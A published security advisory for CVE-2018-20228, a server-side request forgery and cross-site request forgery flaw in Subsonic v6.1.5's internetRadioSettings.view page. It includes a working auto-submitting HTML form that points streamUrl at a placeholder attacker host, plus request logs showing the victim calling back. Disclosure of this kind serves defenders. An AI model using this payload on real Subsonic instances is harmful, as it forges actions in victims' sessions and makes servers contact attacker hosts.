Document Title:
===============
Subsonic v6.1.5 - Server Side Request Forgery & CSRF
References (Source):
====================
https://www.vulnerability-lab.com/get_content.php?id=2175
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2018-20228
CVE-ID:
=======
CVE-2018-20228
Release Date:
=============
2018-12-17
Vulnerability Laboratory ID (VL-ID):
====================================
2175
Common Vulnerability Scoring System:
====================================
4.1
Vulnerability Class:
====================
Server Side Request Forgery
Current Estimated Price:
========================
500€ - 1.000€
Product & Service Introduction:
===============================
Subsonic is an easy-to-use media streaming service with a user-friendly interface and the ability to share music and video
with multiple users. It is highly customizable and includes features such as Chromecast support and file conversion.
(Copy of the Homepage: https://www.linode.com/docs/applications/media-servers/install-subsonic-media-server-on-ubuntu-or-debian/ )
Abstract Advisory Information:
==============================
The vulnerability laboratory core research team discovered a server-side request forgery and csrf issue in the official Subsonic v6.1.5 for microsoft windows.
Vulnerability Disclosure Timeline:
==================================
2018-12-17: Public Disclosure (Vulnerability Laboratory)
Discovery Status:
=================
Published
Affected Product(s):
====================
Subsonic AS
Product: Subsonic - Media Streaming Service (Web-Application) 6.1.5 (Windows, MacOS, Debian, Ubuntu, Fedora, Synology NAS)
Exploitation Technique:
=======================
Remote
Severity Level:
===============
Medium
Authentication Type:
====================
Pre Auth (No Privileges or Session)
User Interaction:
=================
Medium User Interaction
Disclosure Type:
================
Full Disclosure
Technical Details & Description:
================================
A ssrf vulnerability and csrf issue has been discovered in the official Subsonic v6.1.5 for microsoft windows.
The security vulnerability allows remote attackers to hijack the authentication of users for requests that visites a internet radio.
The vulnerability is located in the `internetRadioSettings.view` module and the `streamUrl` parameter of the localhost path URL.
Remote attackers are able to conduct server-side request forgery (ssrf) attacks combined with a cross site request forgery issue.
Both together can allow a remote attacker to hijack the authentication for stream of internet radios.
The security risk of the ssrf web vulnerability and cross site request forgery issue is estimated as medium with a cvss count of 4.1.
Exploitation of the ssrf and csrf vulnerability requires a low privilege web-application user account and low or medium user interaction.
Request Method(s):
[+] POST
Vulnerable Parameter:
[+] streamUrl
Vulnerable Module(s):
[+] internetRadioSettings.view
Proof of Concept (PoC):
=======================
The security vulnerability can be exploited by remote attackers a low privilege web-application user account and with low or medium user interaction.
For security demonstration or to reproduce the vulnerability follow the provided information and steps below to continue.
PoC: Exploitation
<html>
<body>
<form id="test" action="http://localhost:4040/internetRadioSettings.view" method="POST">
<input type="hidden" name="name" value="NAME" />
<input type="hidden" name="streamUrl" value="http://ATTACKER:8080" />
<input type="hidden" name="homepageUrl" value="" />
<input type="hidden" name="enabled" value="on" />
</form>
<script>document.getElementById('test').submit();</script>
</body>
</html>
--- PoC Session Logs ---
http://localhost:4040/internetRadioSettings.view
Host: localhost:4040
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:63.0) Gecko/20100101 Firefox/63.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: fr,fr-FR;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://ATTACKER:8080/poc.html
Content-Type: application/x-www-form-urlencoded
Content-Length: 77
Connection: keep-alive
Cookie: player-61646d696e=2; JSESSIONID=hy5rv1nhc82c; DWRSESSIONID=8wm6J5vYUR!zJF6xZ9Df9FykouYTtQ!RAum
Upgrade-Insecure-Requests: 1
name=NAME&streamUrl=http://ATTACKER:8080&homepageUrl=&enabled=on
POST: HTTP/1.1 200 OK
Content-Type: text/html; charset=utf-8
Content-Language: en
Content-Length: 8354
Server: *****
Then waiting for victim to visit [ Internet radio ]
Serving HTTP on 0.0.0.0 port 8080 ...
VICTIM - - [**/Dec/2018 **:**:**] "GET / HTTP/1.1" 200 -
Vulnerable Source:
<form method="post" action="internetRadioSettings.view">
<table class="indent">
<tbody><tr>
<th>Name</th>
<th>Stream URL</th>
<th>Homepage</th>
<th style="padding-left:1em">Enabled</th>
<th style="padding-left:1em">Delete</th>
</tr>
<tr>
<td><input type="text" name="name[3]" size="20" value="NAME"></td>
<td><input type="text" name="streamUrl[3]" size="40" value="http://ATTACKER:8080"></td>
<td><input type="text" name="homepageUrl[3]" size="40" value=""></td>
<td style="padding-left:1em" align="center"><input type="checkbox" checked="" name="enabled[3]" class="checkbox"></td>
<td style="padding-left:1em" align="center"><input type="checkbox" name="delete[3]" class="checkbox"></td>
</tr>
<tr>
<th colspan="5" style="padding-top:1em" align="left">Add radio station</th>
</tr>
<tr>
<td><input type="text" name="name" size="20" placeholder="Name"></td>
<td><input type="text" name="streamUrl" size="40" placeholder="Stream URL"></td>
<td><input type="text" name="homepageUrl" size="40" placeholder="Homepage"></td>
<td style="padding-left:1em" align="center"><input name="enabled" checked="" type="checkbox" class="checkbox"></td>
<td>
</td></tr>
<tr>
<td style="padding-top:1.5em" colspan="5">
<input type="submit" value="Save" style="margin-right:0.3em">
<input type="button" value="Cancel" onclick="location.href='nowPlaying.view'">
</td>
</tr>
</tbody></table>
</form>
Security Risk:
==============
The security risk of the server-side request forgery (ssrf) via cross site request forgery (csrf) in subsonic v6.1.5 product is estimated as medium.
Credits & Authors:
==================
S.AbenMassaoud [research@vulnerability-lab.com] - https://www.vulnerability-lab.com/show.php?user=S.AbenMassaoud
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=========================
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